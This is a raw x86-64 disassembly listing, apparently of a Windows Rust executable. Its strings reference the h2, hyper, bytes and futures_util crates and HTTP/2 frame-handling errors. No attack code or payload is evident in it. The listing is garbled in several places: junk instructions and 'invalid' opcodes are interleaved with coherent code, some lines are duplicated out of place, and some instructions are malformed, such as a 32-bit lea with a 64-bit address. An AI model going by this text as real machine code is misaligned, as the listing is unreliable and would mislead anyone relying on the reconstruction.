mov eax, 1
mov qword [rsp + 0xf8], rax
mov dword [rsp + 0x130], 0
mov dword [rsp + 0x128], 1
cmp r12, 8
jbe 0x1400a3179
add r12, 0xfffffffffffffff7
mov r13, qword [rsp + 0x318]
mov rax, r13
sub rax, rbx
cmp rax, r12
jae 0x1400a0962
mov rax, rbp
movzx ebp, sil
mov esi, ebp
and esi, 8
je 0x1400a0a73
test r15, r15
je 0x1400a0a80
shr qword [rsp + 0x60], 0x20
xor ebx, ebx
jmp 0x1400a14d3
lea rcx, [rsp + 0x118]
mov rdx, r8
mov r8, r15
mov rax, qword [rsp + 0x60]
call qword [rax + 0x10]
mov bpl, 0xa
mov eax, 1
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x94], 0
mov eax, 1
mov qword [rsp + 0x88], rax
mov al, 1
mov qword [rsp + 0x78], rax
mov al, 1
mov qword [rsp + 0x80], rax
lea rax, [0x1401157d0]
mov qword [rsp + 0x58], rax
xor eax, eax
mov qword [rsp + 0x68], rax
xor eax, eax
mov qword [rsp + 0x50], rax
xor r14d, r14d
mov dword [rsp + 0x3c], 0
lea r15, [rsp + 0x1e8]
mov rdx, qword [rsp + 0x1b8]
cmp rdx, 2
jne 0x1400a0c1b
pxor xmm0, xmm0
xor r9d, r9d
mov qword [rsp + 0x98], rax
xor eax, eax
mov qword [rsp + 0x58], rax
xor ecx, ecx
mov qword [rsp + 0x68], rax
xor eax, eax
mov qword [rsp + 0x50], rax
xor esi, esi
xor r10d, r10d
xor edx, edx
mov r12, qword [rsp + 0x40]
mov r11b, 1
jmp 0x1400a13cd
movabs rax, 0xffffffff00000000
mov rsi, qword [rsp + 0x58]
and rsi, rax
or rsi, 1
xor r8d, r8d
mov r9, qword [rsp + 0x88]
mov r12d, edx
mov rax, qword [rsp + 0x50]
mov ecx, eax
mov r10d, dword [rsp + 0x98]
mov dword [rsp + 0x50], ecx
mov eax, r14d
mov qword [rsp + 0x60], rax
mov r15, rsi
lea rcx, [rsp + 0x100]
mov r14d, r8d
mov rsi, r9
mov r13d, r10d
call fcn.140012be0
lea rcx, [rsp + 0x1e0]
call fcn.140052130
lea rcx, [rsp + 0x240]
call fcn.14001b4d0
mov bpl, 0xa
mov al, 1
mov qword [rsp + 0x78], rax
mov eax, r14d
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x58], r15
mov qword [rsp + 0x88], rsi
mov eax, r12d
mov qword [rsp + 0x68], rax
mov eax, dword [rsp + 0x50]
mov qword [rsp + 0x50], rax
mov r14d, r13d
mov dword [rsp + 0x3c], ebx
mov r13, qword [rsp + 0x48]
lea r15, [rsp + 0x1e8]
mov r12, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x1b8]
cmp rdx, 2
je 0x1400a0356
mov rcx, qword [rsp + 0x1c0]
mov rax, qword [rsp + 0x1c8]
test rdx, rdx
je 0x1400a0c42
mov rdx, qword [rax + 0x10]
dec rdx
and rdx, 0xfffffffffffffff0
add rcx, rdx
add rcx, 0x10
lea rdx, [rsp + 0x1d0]
call qword [rax + 0x68]
mov r8, qword [rsp + 0x1b8]
cmp r8, 2
je 0x1400a0356
mov rdx, qword [rsp + 0x1d0]
mov rcx, qword [rsp + 0x1c0]
mov rax, qword [rsp + 0x1c8]
test r8, r8
je 0x1400a0cc0
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x80]
mov rax, qword [rsp + 0x1c0]
lock dec qword [rax]
jne 0x1400a0356
mov rcx, qword [rsp + 0x1c0]
mov rdx, qword [rsp + 0x1c8]
call fcn.140005050
jmp 0x1400a0356
call qword [rax + 0x80]
jmp 0x1400a0356
mov qword [rsp + 0x1b0], rbx
mov rbx, rcx
mov al, 1
mov dword [rsp + 0xa0], eax
mov eax, 1
mov qword [rsp + 0xf8], rax
mov dword [rsp + 0x130], 0
mov dword [rsp + 0x128], 1
movzx eax, byte [0x140182310]
mov edx, 0x28
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x1400a318d
mov ecx, dword [rsp + 0x94]
mov r10d, ecx
and r10d, 0xffffff00
movzx r9d, cl
xor r11d, r11d
mov r12, qword [rsp + 0x40]
mov r8d, dword [rsp + 0x3c]
mov ecx, dword [rsp + 0x78]
jmp 0x1400a13cd
pxor xmm0, xmm0
xor r8d, r8d
xor r9d, r9d
mov qword [rsp + 0x98], rax
xor eax, eax
mov qword [rsp + 0x58], rax
xor ecx, ecx
mov qword [rsp + 0x68], rax
xor eax, eax
mov qword [rsp + 0x50], rax
xor esi, esi
xor r11d, r11d
xor r10d, r10d
xor edx, edx
mov r12, qword [rsp + 0x40]
mov qword [rsp + 0x140], r8
or r9d, r10d
mov r8b, 1
mov qword [rsp + 0x78], r8
mov bpl, 4
mov qword [rsp + 0x88], rcx
mov dword [rsp + 0x3c], esi
mov dword [rsp + 0x190], eax
mov eax, r11d
mov byte [rsp + 0x77], r11b
mov qword [rsp + 0x148], rax
mov eax, edx
mov qword [rsp + 0x60], rax
mov eax, r9d
mov qword [rsp + 0x80], rax
mov dword [rsp + 0xa4], eax
mov dword [rsp + 0xa8], eax
movdqa xmm11, xmm0
jmp 0x1400a153c
mov dword [rsp + 0xa4], eax
mov dword [rsp + 0xa8], eax
movzx eax, byte [rsp + 0xb6]
mov byte [rsp + 0x186], al
movzx eax, word [rsp + 0xb4]
mov word [rsp + 0x184], ax
mov r8d, 0xe0
lea rcx, [rsp + 0x6a8]
lea rdx, [rsp + 0x7d0]
call fcn.140106250
movzx eax, word [rsp + 0xb0]
mov word [rsp + 0x180], ax
movzx eax, byte [rsp + 0xb2]
mov byte [rsp + 0x182], al
movzx eax, word [rsp + 0xac]
mov word [rsp + 0x17c], ax
movzx eax, byte [rsp + 0xae]
mov byte [rsp + 0x17e], al
mov rdx, qword [rsp + 0x1b8]
cmp rdx, 2
je 0x1400a1662
mov rcx, qword [rsp + 0x1c0]
mov rax, qword [rsp + 0x1c8]
test rdx, rdx
je 0x1400a15ed
mov rdx, qword [rax + 0x10]
dec rdx
and rdx, 0xfffffffffffffff0
add rcx, rdx
add rcx, 0x10
lea rdx, [rsp + 0x1d0]
call qword [rax + 0x68]
mov r8, qword [rsp + 0x1b8]
cmp r8, 2
je 0x1400a1662
cmp byte [rsp + 0x78], 0
mov rdx, qword [rsp + 0x98]
je 0x1400a16ec
mov r8, qword [rsp + 0x348]
test r8b, 1
jne 0x1400a16bc
mov rax, qword [rsp + 0x80]
mov ecx, eax
shr ecx, 8
mov qword [rsp + 0x78], rcx
shr eax, 0x10
mov dword [rsp + 0x94], eax
mov eax, edx
mov rcx, qword [rsp + 0x58]
shl rcx, 0x20
or rcx, rax
mov qword [rsp + 0x58], rcx
mov eax, r15d
mov rcx, qword [rsp + 0x88]
shl rcx, 0x20
or rcx, rax
mov qword [rsp + 0x88], rcx
lea r15, [rsp + 0x1e8]
jmp 0x1400a0360
mov dword [rsp + 0x3c], 0
mov eax, 1
mov qword [rsp + 0x60], rax
jmp 0x1400a1779
xor eax, eax
mov qword [rsp + 0x50], rax
xor eax, eax
mov qword [rsp + 0x68], rax
lea rax, [0x1401157d0]
mov qword [rsp + 0x58], rax
mov al, 1
mov qword [rsp + 0x78], rax
xor eax, eax
mov dword [rsp + 0x94], 0
mov r13, qword [rsp + 0x48]
lea r15, [rsp + 0x1e8]
mov r12, qword [rsp + 0x40]
mov r9b, 0xa
jmp 0x1400a0316
mov byte [rdi + 0x1c0], al
mov byte [rdi + 0x1c1], 1
cmp byte [rdi + 0x1c2], 0
jne 0x1400a1b00
test al, al
jne 0x14009e5a6
lea rcx, [rsp + 0x370]
mov rdx, rdi
mov r8, r12
call fcn.1400f4cb0
cmp qword [rsp + 0x370], 0
mov rbp, qword [rsp + 0x378]
jne 0x1400a1980
mov r12, qword [rsp + 0x380]
lea rax, [rsp + 0x380]
movdqu xmm0, xmmword [rax + 8]
movdqa xmmword [rsp + 0x1e0], xmm0
test rbp, rbp
jne 0x14009e651
xor eax, eax
jmp 0x1400a17df
mov byte [rdi + 0x1c2], 1
mov rcx, rbp
call fcn.14001a570
mov ecx, ebp
and ecx, 3
cmp ecx, 1
jne 0x1400a1a60
mov word [rdi + 0x1c1], 0
mov bpl, 0xa
mov rdx, qword [rsp + 0x580]
cmp rdx, 2
je 0x1400a1dc0
jmp 0x1400a1d20
mov bpl, 0xb
mov rdx, qword [rsp + 0x580]
cmp rdx, 2
je 0x1400a1dc0
jmp 0x1400a1d20
mov bpl, 0xa
mov rdx, qword [rsp + 0x580]
cmp rdx, 2
je 0x1400a1dc0
jmp 0x1400a1d20
call qword [rax + 0x80]
mov rdx, qword [rdi + 0x380]
cmp rdx, 2
jne 0x14009e4cd
jmp 0x14009e4fd
mov rcx, qword [rsp + 0x588]
mov rax, qword [rsp + 0x590]
test rdx, rdx
je 0x1400a1d47
mov al, 9
cmp bpl, 0xa
je 0x1400a1f3d
movzx eax, bpl
cmp eax, 9
je 0x1400a2780
mov byte [rsp + 0xaa8], al
movzx eax, byte [rsp + 0xcf]
mov byte [rsp + 0xaa9], al
movzx eax, word [rsp + 0x1ae]
mov word [rsp + 0xaaa], ax
mov eax, dword [rsp + 0x524]
mov dword [rsp + 0xaac], eax
mov eax, dword [rsp + 0x520]
mov dword [rsp + 0xab0], eax
mov eax, dword [rsp + 0x51c]
mov dword [rsp + 0xab4], eax
mov rax, qword [rsp + 0x620]
mov qword [rsp + 0xab8], rax
mov rax, qword [rsp + 0x618]
mov qword [rsp + 0xac0], rax
mov eax, dword [rsp + 0x518]
mov dword [rsp + 0xac8], eax
mov eax, dword [rsp + 0x514]
mov dword [rsp + 0xacc], eax
mov eax, dword [rsp + 0x510]
mov dword [rsp + 0xad0], eax
mov eax, dword [rsp + 0x50c]
mov dword [rsp + 0xad4], eax
mov eax, dword [rsp + 0x508]
mov dword [rsp + 0xad8], eax
movq qword [rsp + 0xadc], xmm9
movzx eax, byte [rsp + 0xce]
mov byte [rsp + 0xae4], al
movzx eax, byte [rsp + 0x15e]
lea rsi, [rsp + 0xae5]
mov byte [rsi + 2], al
movzx eax, word [rsp + 0x15c]
mov word [rsi], ax
mov r8d, 0xe0
lea rcx, [rsp + 0xae8]
lea rdx, [rsp + 0xbd0]
call fcn.140106250
movzx eax, byte [rsp + 0xcd]
mov byte [rsp + 0xbc8], al
movzx eax, word [rsp + 0x158]
mov word [rsi + 0xe4], ax
movzx eax, byte [rsp + 0x15a]
mov byte [rsi + 0xe6], al
movzx eax, byte [rsp + 0xcc]
mov byte [rsp + 0xbcc], al
movzx eax, byte [rsp + 0x156]
mov byte [rsi + 0xea], al
movzx eax, word [rsp + 0x154]
mov word [rsi + 0xe8], ax
lea rcx, [rsp + 0x5a8]
lea rdx, [rsp + 0x8b0]
lea r8, [rsp + 0xaa8]
call fcn.1400a4d30
cmp dword [rsp + 0x5a8], 0
jne 0x1400a26dc
cmp qword [rdi + 0x1a8], 0
je 0x1400a25b6
mov r8d, 0x19
mov cl, 0x27
lea rdx, str.bytes_remaining_on_streampolling_StreamFuture_twiceC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_stream_streaminto_future.rs
call fcn.140095880
mov rbp, rax
mov byte [rdi + 0x1c2], 1
mov r12, qword [rsp + 0x40]
jmp 0x1400a1987
mov byte [rdi + 0x1c1], 0
mov bpl, 0xa
mov r12, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x580]
cmp rdx, 2
je 0x1400a1dc0
jmp 0x1400a1d20
mov rcx, qword [rdx]
cmp rcx, rax
jae 0x1400a2602
cmp rcx, qword [rdi + 0xb0]
setbe cl
cmovbe rdx, qword [rsp + 0x560]
jmp 0x1400a2604
cmp qword [rdi + 0xb0], rax
je 0x1400a2615
xor ecx, ecx
movzx ecx, cl
mov r8, qword [rsp + 0xb8]
mov qword [r8], rcx
mov qword [rdx], rax
cmp dword [rdi + 0x4a0], 0
je 0x14009d6ed
mov eax, dword [rdi + 0x4a4]
cmp eax, 0x1000000
jae 0x1400a2f6a
mov dword [rdi + 0x180], eax
jmp 0x14009d6ed
call fcn.140110270
test al, al
jne 0x14009e2c6
mov rax, qword [rsp + 0x550]
mov byte [rax + 0x11], 1
jmp 0x14009e2c6
call fcn.140110270
test al, al
jne 0x14009e2f9
mov byte [rsi + 0x11], 1
jmp 0x14009e2f9
cmp eax, 4
jne 0x1400a26a8
mov rcx, qword [rsp + 0x138]
mov byte [rcx], al
jmp 0x1400a28f3
lea r8, [rsp + 0x8e9]
mov rcx, qword [r8 + 0x1f]
mov rdx, qword [rsp + 0x138]
mov qword [rdx + 0x20], rcx
movdqu xmm0, xmmword [r8]
movdqu xmm1, xmmword [r8 + 0x10]
movdqu xmmword [rdx + 0x11], xmm1
movdqu xmmword [rdx + 1], xmm0
mov byte [rdx], al
jmp 0x1400a28f3
cmp byte [rdi + 0x3dd], 0
je 0x1400a2829
mov rax, qword [rsp + 0x138]
mov byte [rax], 3
jmp 0x1400a28f3
mov dword [rax + 0x18], ecx
mov ecx, dword [rsp + 0x1a0]
mov dword [rax + 0x1c], ecx
mov ecx, dword [rsp + 0x1a4]
mov dword [rax + 0x20], ecx
mov ecx, dword [rsp + 0x1a8]
mov dword [rax + 0x24], ecx
jmp 0x1400a28f3
mov rax, qword [rsp + 0x138]
mov word [rax], 0x101
mov dword [rax + 4], esi
lea rcx, [0x14013db38]
mov qword [rax + 8], rcx
mov qword [rax + 0x10], 1
pxor xmm0, xmm0
movdqu xmmword [rax + 0x18], xmm0
jmp 0x1400a28f3
movaps xmm6, xmmword [rsp + 0xcb0]
movaps xmm7, xmmword [rsp + 0xcc0]
movaps xmm8, xmmword [rsp + 0xcd0]
movaps xmm9, xmmword [rsp + 0xce0]
movaps xmm10, xmmword [rsp + 0xcf0]
movaps xmm11, xmmword [rsp + 0xd00]
add rsp, 0xd18
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, [0x140128dd0]
mov ecx, 1
mov edx, 1
call fcn.1401082d0
lea r8, [0x140128de8]
mov ecx, 2
mov edx, 2
call fcn.1401082d0
lea r8, [0x140128de8]
mov ecx, 3
mov edx, 3
call fcn.1401082d0
lea r8, [0x140128de8]
mov ecx, 4
mov edx, 4
call fcn.1401082d0
lea r8, [0x140128de8]
mov ecx, 5
mov edx, 5
call fcn.1401082d0
lea rax, [rsp + 0x8ec]
mov qword [rsp + 0x1e0], rax
lea rax, [0x14001b400]
mov qword [rsp + 0x1e8], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x370], rax
mov qword [rsp + 0x378], 1
mov qword [rsp + 0x390], 0
lea rax, [rsp + 0x1e0]
mov qword [rsp + 0x380], rax
mov qword [rsp + 0x388], 1
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x370]
call fcn.140108280
lea rax, [rsp + 0x6a8]
mov qword [rsp + 0x1e0], rax
add dword [rax], eax
add byte [rax - 0x73], cl
add eax, 0xfff704b4
add dword [rax], eax
add byte [rax - 0x73], cl
add eax, 0xfff704b4
mov qword [rsp + 0x1e8], rax
mov rcx, qword [rsp + 0x358]
mov qword [rsp + 0x1f0], rcx
mov qword [rsp + 0x1f8], rax
lea rax, [0x140141790]
mov qword [rsp + 0x370], rax
mov qword [rsp + 0x378], 2
js 0x1400a2a84
add byte [rax], al
add al, byte [rax]
add byte [rax], al
js 0x1400a2a84
add byte [rax], al
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rdx*4], ah
add eax, dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
test byte [rax + riz*8], ah
add dword [rax], eax
add byte [rax - 0x77], cl
test byte [rax + rax*4], ah
add eax, dword [rax]
add byte [rax - 0x39], cl
mov dword [rsp + 0x388], 2
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes_mut.rs
mov qword [rsp + 0x390], 0
lea rax, [rsp + 0x1e0]
mov qword [rsp + 0x380], rax
mov qword [rsp + 0x388], 2
mov dword [rsp + 0x388], 2
mov dword [rsp + 0x388], 2
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes_mut.rs
lea rcx, [rsp + 0x370]
call fcn.140108280
lea r8, [0x14013c840]
call fcn.140108340
mov qword [rsp + 0x370], 0
lea rcx, [rsp + 0x8e8]
lea rdx, [rsp + 0x6a8]
lea r8, [rsp + 0x370]
call fcn.14010e8f0
lea rax, [rsp + 0x6ac]
jmp 0x1400a2b53
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_src_framehead.rs
mov ecx, 5
mov rdx, r12
call fcn.1401082c0
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_src_frame_stream_id.rs
mov ecx, 4
call fcn.140108340
lea rcx, str.reset_at_must_be_set_if_in_queue
lea r8, [0x140128480]
add eax, 0x8594b
add eax, 0x8594b
mov edx, 0x20
call fcn.1401086b0
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
call fcn.140108690
lea rax, [rsp + 0x9cc]
mov qword [rsp + 0x1e0], rax
lea rax, [0x14001b400]
mov qword [rsp + 0x1e8], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x370], rax
mov qword [rsp + 0x378], 1
mov qword [rsp + 0x390], 0
lea rax, [rsp + 0x1e0]
jmp case.0x140019144.2417
lea rax, [rsp + 0x5ac]
mov qword [rsp + 0x9c8], rax
lea rax, [0x14001b400]
mov qword [rsp + 0x9d0], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x370], rax
mov qword [rsp + 0x378], 1
mov qword [rsp + 0x390], 0
lea rax, [rsp + 0x9c8]
mov qword [rsp + 0x380], rax
mov qword [rsp + 0x388], 1
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
or byte [rax], al
or byte [rax], al
lea rcx, [rsp + 0x370]
call fcn.140108280
lea rax, [rsp + 0x5ac]
mov qword [rsp + 0x9c8], rax
lea rax, [0x14001b400]
mov qword [rsp + 0x9d0], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x370], rax
mov qword [rsp + 0x378], 1
mov qword [rsp + 0x390], 0
lea rax, [rsp + 0x9c8]
jmp 0x1400a2a0d
mov byte [rsp + 0x370], al
lea rax, [0x14013dbd0]
mov qword [rsp + 0x20], rax
lea rcx, str.invalid_GOAWAY_frameC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcprotogo_away.rs
lea r9, [0x14013ec68]
lea r8, [rsp + 0x370]
mov edx, 0x14
call fcn.140108600
mov qword [rsp + 0x370], r14
mov byte [rsp + 0x378], bpl
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
jmp 0x1400a2d5f
mov byte [rsp + 0x370], al
lea rax, [0x14013e7b0]
mov qword [rsp + 0x20], rax
lea rcx, str.invalid_pong_frame
lea r9, [0x14013ec68]
lea r8, [rsp + 0x370]
mov edx, 0x12
call fcn.140108600
lea rcx, str.assertion_failed:_DEFAULT_MAX_FRAME_SIZE_as_usize___val__val___MAX_MAX_FRAME_SIZE_as_usizeC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srccodec_framed_read.rs
lea r8, [0x14013d998]
mov edx, 0x5e
call fcn.140108350
mov byte [rsp + 0x370], al
lea rax, [0x14013e660]
jmp 0x1400a2e9b
mov rax, qword [rsp + 0xf8]
mov qword [rsp + 0x370], rax
mov byte [rsp + 0x378], bl
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
add byte [rbp + rcx*4 + 0xd], cl
xchg esi, eax
mov edi, 0x8d4c0009
test byte [rax + rsi*2], ah
add eax, dword [rax]
add byte [rdx + 0x2b], bh
add byte [rbp + rcx*4 + 0xd], cl
xchg esi, eax
mov edi, 0x8d4c0009
test byte [rax + rsi*2], ah
add eax, dword [rax]
add byte [rdx + 0x2b], bh
call fcn.140108600
mov qword [rsp + 0x370], r14
mov byte [rsp + 0x378], al
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14013ed28]
lea r8, [rsp + 0x370]
mov edx, 0x2b
call fcn.140108600
mov byte [rsp + 0x370], al
lea rax, [0x14013e768]
jmp 0x1400a2f90
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
call fcn.140108690
lea rcx, str.assertion_failed:_N::next_stream_.is_none__
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
mov edx, 0x2c
call fcn.140108350
mov byte [rsp + 0x370], al
lea rax, [0x14013dd68]
mov qword [rsp + 0x20], rax
lea rcx, str.invalid_RST_STREAM_frameC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_recv.rs
lea r9, [0x14013ec68]
lea r8, [rsp + 0x370]
mov edx, 0x18
call fcn.140108600
lea r8, [0x140115d30]
mov ecx, 9
mov rdx, r12
call fcn.1401082c0
lea r8, [0x140115d18]
mov ecx, 9
mov rdx, r12
call fcn.1401082c0
lea r8, [0x140115d78]
mov ecx, 9
mov rdx, r12
call fcn.1401082c0
lea r8, [0x140115d60]
mov ecx, 9
mov rdx, r12
call fcn.1401082c0
lea r8, [0x140115d48]
mov ecx, 9
mov rdx, r12
call fcn.1401082c0
push rsp
invalid
invalid
push rsp
invalid
mov byte [rsp + 0x370], al
lea rax, [0x14013e6d0]
mov qword [rsp + 0x20], rax
lea rcx, str.invalid_settings_frame
lea r9, [0x14013ec68]
lea r8, [rsp + 0x370]
mov edx, 0x16
call fcn.140108600
lea r8, [0x140115d00]
mov ecx, 9
mov rdx, r12
call fcn.1401082c0
mov qword [rsp + 0xd0], r12
mov dword [rsp + 0xd0], esp
mov dword [rsp + 0xd0], esp
lea rax, [rsp + 0x528]
mov qword [rsp + 0x1e0], rax
lea rax, [0x1400ea0f0]
mov qword [rsp + 0x1e8], rax
lea rcx, [rsp + 0xd0]
mov qword [rsp + 0x1f0], rcx
mov qword [rsp + 0x1f8], rax
lea rax, str.cannot_advance_past__remaining_:___
mov qword [rsp + 0x370], rax
mov qword [rsp + 0x378], 2
mov qword [rsp + 0x390], 0
lea rax, [rsp + 0x1e0]
mov qword [rsp + 0x380], rax
mov qword [rsp + 0x388], 2
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes.rsC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_src_body_body.rs
lea rcx, [rsp + 0x370]
call fcn.140108280
lea rcx, str.assertion_failed:_val___frame::MAX_MAX_FRAME_SIZE_as_usize
lea r8, [0x14013e6b8]
mov edx, 0x3b
call fcn.140108350
mov byte [rsp + 0x370], al
lea rax, [0x14013e780]
mov qword [rsp + 0x20], rax
lea rcx, str.invalid_ping_frameC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcprotoping_pong.rs
lea r9, [0x14013ec68]
lea r8, [rsp + 0x370]
mov edx, 0x12
call fcn.140108600
mov ecx, 1
mov rdx, r12
call fcn.140107fc0
call fcn.140010b00
mov ecx, 8
mov edx, 0x18
call fcn.140107fe0
lea rcx, [0x140115290]
call fcn.140108690
mov qword [rsp + 0x528], r9
lea rax, [rsp + 0x628]
mov qword [rsp + 0x1e0], rax
lea rax, [0x1400ea0f0]
mov qword [rsp + 0x1e8], rax
lea rcx, [rsp + 0x528]
mov qword [rsp + 0x1f0], rcx
mov qword [rsp + 0x1f8], rax
lea rax, str.split_off_out_of_bounds:
mov qword [rsp + 0x370], rax
mov qword [rsp + 0x378], 2
mov dword [rsp + 0x378], 2
mov dword [rsp + 0x378], 2
mov qword [rsp + 0x390], 0
lea rax, [rsp + 0x1e0]
mov qword [rsp + 0x380], rax
mov qword [rsp + 0x388], 2
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes.rsC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_src_body_body.rs
lea edx, [0x140113b18]
lea edx, [0x140113b18]
lea rcx, [rsp + 0x370]
call fcn.140108280
mov qword [rsp + 0x100], rbx
lea rax, [rsp + 0x528]
mov qword [rsp + 0xd0], rax
lea rax, [0x1400ea0f0]
mov qword [rsp + 0xd8], rax
lea rcx, [rsp + 0x100]
mov qword [rsp + 0xe0], rcx
mov qword [rsp + 0xe8], rax
lea rax, str.split_off_out_of_bounds:
mov qword [rsp + 0x370], rax
mov qword [rsp + 0x378], 2
mov qword [rsp + 0x390], 0
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x380], rax
mov qword [rsp + 0x388], 2
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes_mut.rs
lea rcx, [rsp + 0x370]
call fcn.140108280
lea rax, [rsp + 0x100]
mov qword [rsp + 0xd0], rax
lea rax, [fcn.140012f00]
mov qword [rsp + 0xd8], rax
lea rcx, [rsp + 0x318]
mov qword [rsp + 0xe0], rcx
mov qword [rsp + 0xe8], rax
lea rax, [0x140141790]
mov qword [rsp + 0x370], rax
mov qword [rsp + 0x378], 2
mov qword [rsp + 0x390], 0
lea rax, [rsp + 0xd0]
jmp 0x1400a2a9b
lea r8, [0x140115d90]
mov ecx, 9
mov rdx, r12
call fcn.1401082c0
mov ecx, 8
mov edx, 0x28
call fcn.140107fe0
call fcn.140108270
int3
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xc8
mov qword [rsp + 0x88], rdx
mov rsi, qword [rcx]
mov dl, 1
xor eax, eax
lock cmpxchg byte [rsi], dl
jne 0x1400a350f
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x1400a3530
xor edi, edi
movzx eax, byte [rsi + 1]
test al, al
jne 0x1400a354d
mov rbx, qword [rcx + 8]
mov cl, 1
xor eax, eax
lock cmpxchg byte [rbx], cl
jne 0x1400a3580
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x1400a359b
mov dword [rsp + 0x34], 0
mov dword [rsp + 0x84], edi
mov qword [rsp + 0x78], rbx
movzx eax, byte [rbx + 1]
test al, al
jne 0x1400a3644
mov rbx, qword [rsi + 0x210]
test rbx, rbx
je 0x1400a33e8
lea rdi, [rsi + 8]
mov rax, qword [rsp + 0x78]
add rax, 8
mov qword [rsp + 0xc0], rax
lea rax, [rsi + 0x1b8]
mov qword [rsp + 0x98], rax
lea rax, [rsi + 0x110]
mov qword [rsp + 0x90], rax
xor r14d, r14d
jmp 0x1400a32c8
cmp ebp, 0x3b9aca00
setne r8b
mov rcx, rdi
lea rdx, [rsp + 0xb0]
call fcn.14001fa50
mov rax, qword [rsi + 0x210]
cmp rax, rbx
sbb r14, 0xffffffffffffffff
cmp rax, rbx
sbb rbx, 0
cmp r14, rbx
jae 0x1400a33e8
cmp r14, qword [rsi + 0x1f0]
jae 0x1400a3638
mov rax, qword [rsi + 0x1e8]
mov rcx, r14
shl rcx, 4
mov r12d, dword [rax + rcx + 8]
mov r15d, dword [rax + rcx + 0xc]
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0xb0], rax
mov dword [rsp + 0xb8], r15d
mov dword [rsp + 0xbc], r12d
mov dword [rsp + 0x38], r15d
mov dword [rsp + 0x3c], r12d
cmp qword [rsi + 0x1c8], r15
add byte [rdi], cl
invalid
mov bl, 2
add byte [rax], al
add byte [rdi], cl
xchg byte [rbx + 0x48000002], dh
mov edx, dword [rsi + 0x1c0]
mov rdx, qword [rsi + 0x1c0]
imul r13, r15, 0x130
cmp dword [rdx + r13], 2
je 0x1400a35d7
add rdx, r13
cmp dword [rdx + 0x114], r12d
jne 0x1400a35d7
mov ebp, dword [rdx + 0x48]
mov rcx, qword [rsp + 0x88]
call fcn.140024fd0
mov rcx, qword [rsp + 0x90]
mov rdx, qword [rsp + 0xc0]
lea r8, [rsp + 0xb0]
call fcn.14008b6e0
mov dword [rsp + 0x38], r15d
mov dword [rsp + 0x3c], r12d
cmp qword [rsi + 0x1c8], r15
jbe 0x1400a35d7
mov rax, qword [rsi + 0x1c0]
cmp dword [rax + r13], 2
je 0x1400a35d7
add rax, r13
cmp dword [rax + 0x114], r12d
jne 0x1400a35d7
mov edx, dword [rax + 0x84]
test edx, edx
jle 0x1400a3290
mov dword [rax + 0x84], 0
mov rcx, qword [rsp + 0x90]
mov r8, qword [rsp + 0x98]
mov r9, rdi
call fcn.140021330
jmp 0x1400a3290
mov rcx, qword [rsp + 0x88]
mov rax, qword [rcx + 0x20]
mov qword [rsp + 0x60], rax
movups xmm0, xmmword [rcx]
